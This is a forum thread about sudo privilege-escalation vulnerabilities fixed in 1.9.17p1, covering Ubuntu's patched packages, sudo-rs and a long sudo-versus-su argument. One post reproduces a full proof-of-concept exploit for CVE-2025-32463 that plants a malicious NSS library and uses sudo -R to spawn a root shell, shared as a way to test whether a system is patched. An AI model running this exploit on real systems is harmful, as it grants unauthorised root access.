[sudo] Privilege escalation up to 1.9.17 (update to 1.9.17.p1) - Page 1
Forum section: electronics / general

author: golden_labels
author_rank: Super Contributor
timestamp: July 07, 2025, 03:35:00 am
content: If you are behind with updates, it’s a good time to update your sudo to 1.9.17p1. There aretwo vulnerabilities in sudo up to 1.9.17, one of which ends in a trivially executable privilege escalation.

author: brucehoult
author_rank: Super Contributor
timestamp: July 07, 2025, 03:55:44 am
content: apt upgrade on Ubuntu 24.04 left me on the same 1.9.15p5 I started on, so it's too soon.

author: golden_labels
author_rank: Super Contributor
timestamp: July 07, 2025, 04:08:06 am
content: Perchangelogfornoble/sudo, it seems patches were applied against 1.9.15p5 in Ubuntu. So you should be fine, if it’s 1.9.15p5-3.(see my post below)Certainly not too early: the vulnerabilities are known since April, news were broken to distros 2 weeks ago, and sudo officially announced that a week ago.

author: Psi
author_rank: Super Contributor
timestamp: July 07, 2025, 07:05:01 am
content: *Looks at server running Ubuntu ARM 'Focal' dist from 2020Probably time for a dist upgrade, hehe.

author: brucehoult
author_rank: Super Contributor
timestamp: July 07, 2025, 08:46:11 am
content: Quote from: golden_labels on July 07, 2025, 04:08:06 amNo "-3", the binary is dated Jun 26, almost two weeks ago.

author: golden_labels
author_rank: Super Contributor
timestamp: July 07, 2025, 02:34:39 pm
content: I may have been confused by Ubuntu’s package numbering. Arch user’s brain here.Official notice from Ubuntu on this issuemay be more reliable.The version I linked in previous post includes patches against the vulnerabilities, from what I understand.(1)It’s from June 25th. The previous release of this Ubuntu package seems to be from April 2024 and I don’t see a reason for any release on June 26th other than those two bugs. So I would conclude you got the right update already.For anybody interested, this is supposed to work on affected systems by starting a root shell:Code:#!/bin/bash# sudo-chwoot.sh# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch# @ Stratascale Cyber Research Unit (CRU)STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)cd ${STAGE?} || exit 1cat > woot1337.c<<EOF#include <stdlib.h>#include <unistd.h>__attribute__((constructor)) void woot(void) {setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash", "/bin/bash", NULL);}EOFmkdir -p woot/etc libnss_echo "passwd: /woot1337" > woot/etc/nsswitch.confcp /etc/group woot/etcgcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.cecho "woot!"sudo -R woot wootOn fixed systems it just prints “woot!” and does theexpectedsecurity, like asking for credentials. Since I’m updated for a week now, I can’t quickly test if it produces the expected result. And of course as with PoC mileage may vary.(1)source/noble-updates/sudo→📦 sudo_1.9.15p5-3ubuntu5.24.04.1.debian.tar.xz (69 kB), see patches subdirectory; in Ubuntu’s source repos:commit c7ef52463d707525c10470008d321f419ba0bdfe.

author: SiliconWizard
author_rank: Super Contributor
timestamp: July 07, 2025, 03:58:05 pm
content: Just use sudo-rs.

author: voltsandjolts
author_rank: Unknown
timestamp: July 07, 2025, 04:18:57 pm
content: sudo-rs gonna be default in 25.10 apparently

author: golden_labels
author_rank: Super Contributor
timestamp: July 07, 2025, 04:27:30 pm
content: The bullet missed sudo-rs only because it is incomplete. Otherwise it would be as vulnerable. Presence of-Roption, which sudo-rs still lacks, is needed to execute the attack.It’s aconfused deputy attack, not one related to the programming environment used.

author: voltsandjolts
author_rank: Unknown
timestamp: July 07, 2025, 04:45:00 pm
content: Quote from: golden_labels on July 07, 2025, 04:27:30 pmOr deliberately so because -R was deemed less secure?

author: madires
author_rank: Super Contributor
timestamp: July 07, 2025, 04:59:34 pm
content: Was there any year without a sudo security issue?I think it's a bad idea that many linux distributions install sudo by default. And the default configuration is usually a disaster. The original idea of sudo was that the sysadmin (root) could outsource a specific task to a user. But distributions use sudo as a sysadmin replacement, a misuse of sudo. On a single user desktop system it doesn't make sense at all. Sysadmins don't use sudo. They use 'su -'. If you have one of those sudo-pseudo-sysadmin distributions use sudo just once to set a root password and then dump it.

author: ve7xen
author_rank: Super Contributor
timestamp: July 07, 2025, 05:36:30 pm
content: Quote from: madires on July 07, 2025, 04:59:34 pmHow do you propose to handle multi-admin machines? Password sharing is not an option. Due to unix permissions model, something like sudo is necessary. OpenBSD's doas would probably have been a better default, since most machines don't make use of any of the added sudo functionality, but decoupling admin privileges from the actual root user is an essential feature for multiple reasons. Now that sudo is entrenched, sudo-rs seems like it'll be a big improvement in security, a bit of a reset on required functionality and improved implementation.I think encouraging use of 'su' instead encourages using (and leaving open) root login shells, since the ergonomics of using 'su' for single commands suck, and I don't think that is a good thing.

author: madires
author_rank: Super Contributor
timestamp: July 07, 2025, 06:28:13 pm
content: For a multi-admin environment you could also go for a privileged access management solution. And some self-discipline helps with using su. If you prefer sudo then use sudo. I've only stated my personal opinion.

author: SiliconWizard
author_rank: Super Contributor
timestamp: July 07, 2025, 06:31:06 pm
content: Quote from: voltsandjolts on July 07, 2025, 04:45:00 pm-R has been declared deprecated by the sudo team anyway, it will be removed in a future version.

author: golden_labels
author_rank: Super Contributor
timestamp: July 08, 2025, 02:11:36 am
content: Quote from: voltsandjolts on July 07, 2025, 04:45:00 pmIs ther any trace of sudo-rs devsactivelydeciding to not implement-Rand that decision being due to security concerns about that kind of a scenario?It seems to be simply not implemented (yet?), along with a bunch of other features. Some of these features are deemed to not be crucial, for sudo-rs not being meant to be an exact copy of sudo. But AFAIK not rejected for reasons like security. Am I wrong?Quote from: madires on July 07, 2025, 04:59:34 pmIt’s a nice attempt to debunk claims about sudo, except… it’s not the reason sudo is preferred. On single-user servers sudo is even being configured to accept all commands with NOPASSWD and I can’t recall any long-timer in “sudo distros” disliking the idea.The primary reasons are: safety (not security), auditability, and consciousness. With security there are only minor advantages: preventing desktop users from always working as root (old Windows style) and the marginal benefit of an additional password requirement, where sudo is configured to require one.

author: brucehoult
author_rank: Super Contributor
timestamp: July 08, 2025, 03:53:02 am
content: Quote from: golden_labels on July 07, 2025, 02:34:39 pmSecurity patch must have been automatically installed already.

author: brucehoult
author_rank: Super Contributor
timestamp: July 08, 2025, 03:56:02 am
content: Quote from: voltsandjolts on July 07, 2025, 04:18:57 pmHow much do you want to bet that at least one vulnerability with be found in sudo-rs before the end of 2026?

author: golden_labels
author_rank: Super Contributor
timestamp: July 08, 2025, 04:41:15 am
content: I hope a notable vulnerability is going to be found in sudo-rs by the end 2026, if this project sees more widespread use.No, not because I’m a hateful person or out of spite. I wish Trifecta this, because it reduces the number of undiscovered and therefore unpatched vulnerabilities in sudo-rs.

author: madires
author_rank: Super Contributor
timestamp: July 08, 2025, 08:54:48 am
content: Quote from: golden_labels on July 08, 2025, 02:11:36 amIMHO, entering the password for sudo is like hitting the cookie-banner-go-away button, a muscle memory. I don't think that makes the user more cautious. If I have to run more than just a single command it becomes a sudo frenzy. And a 'sudo -s' or 'sudo sh' is basically a 'su -'. For auditability there are also other solutions, e.g. auditd. Neither su nor sudo prevent me from 'rm -rf' the wrong directory by mistake. The arguments for sudo seem to suggest a false impression of safety.

author: Siwastaja
author_rank: Super Contributor
timestamp: July 08, 2025, 09:39:10 am
content: Quote from: madires on July 08, 2025, 08:54:48 amWhile it is true that sudo might become muscle memory, then again being logged in as root is even more appealing: not even muscle memory needed.Doing everything as rootwasa real issue. It is very appealing to just keep the terminal open, logged in as root, because it is simple - even simpler than using sudo for every command. I did that, too. What I never did was to prefix every command with sudo. It is annoying; to me it did never become muscle memory.Your opinions about the usage of sudo are pretty understandable, but I feel that the alternative you present (classic su) is even worse, and it is not trivial to suggest anything that would be significantly better than sudo. Asking for a password for doing "admin things" seems correct; my personal experience of sudo misuse has always been when some subsystem is overengineered and poorly documented to be so difficult to use in the intended way, that it is just easier to prefix every command with sudo. E.g. USB device permissions where no one knows if you should be adding yourself to some weirdly named group (how aboutdialout?), and/or chmod files in /dev/, and/or edit configuration file(s) (which files and where?) by hand adding USB VID:PIDs, or some other cryptic things... when you just can sudo screen /dev/ttyUSB0

author: madires
author_rank: Super Contributor
timestamp: July 08, 2025, 10:24:46 am
content: Yes, su requires some self-discipline. And setting shell prompts accordingly helps with the awareness too, e.g.root@system.BTW, I often have multiple sessions/shells open (sometimes as different users if needed) when working on a server unless it's something trivial. Also across multiple systems.

author: golden_labels
author_rank: Super Contributor
timestamp: July 08, 2025, 03:36:45 pm
content: Quote from: madires on July 08, 2025, 08:54:48 amYes, there is no doubt: if we arbitrarily choose a case in which sudo fails, it does fail. It’s a tautological example.Do you have a mess of live, uninsulated wires on your desk? Do you say they can be there and there is no need for insulation, since after all nothing can prevent you from sticking fingers into a main socket? Because this is how I see your point right now.Yes, auditd can be used too. It’s called an alternative solution. An alternative option doesn’t say anything about usability of the other choice, so not sure, what’s the goal in mentioning auditd. Setting up auditd to imitate sudo is also a lot of effort: undertaken by less people than is using sudo’s advanced configuration.Skipping the mention of a password. It is a response to me saying admins on servers generally don’t use passwords for sudo, and generally downplaying both passwords and security aspects. So I don’t get, what you mean.

author: madires
author_rank: Super Contributor
timestamp: July 08, 2025, 04:43:44 pm
content: Ok, you want to use sudo for auditing purposes because it's simpler to set up. If you need to log whatever for auditing or compliance reasons sudo usually isn't sufficient as it only logs which commands are run by sudo users. In contrast, auditd can log much more. Sorry, but that argumentation is contradicting itself, unless you're talking about some private systems, in which case auditing is rarely a topic.

author: madires
author_rank: Super Contributor
timestamp: July 08, 2025, 05:23:25 pm
content: Some more input:Real SysAdmins don’t sudo – Book excerpt -https://www.both.org/?p=960

author: golden_labels
author_rank: Super Contributor
timestamp: July 08, 2025, 08:15:13 pm
content: What is the goal of this link? It points me to an opinion of another person, who doesn’t participate in this thread, whose words just repeat the same thing you just said, and which equally focuses one some claim of “security,” ignoring what I said.I never said I want to “use sudo for auditing purposesbecauseit’s simpler to set up.” I said the auditing feature is among multiple reasons using sudo is suggested over always-root operation.Either way, I feel like this is going nowhere. You prefer to run everything as root — you’re free to do so. You may cosider people using sudo to not qualify as “real admins” too. I made an attempt to show you, where you seem to be misinterpreting the “use sudo” philosophy, but apparently I failed. Let it be. We may now return to the actual vulnerability.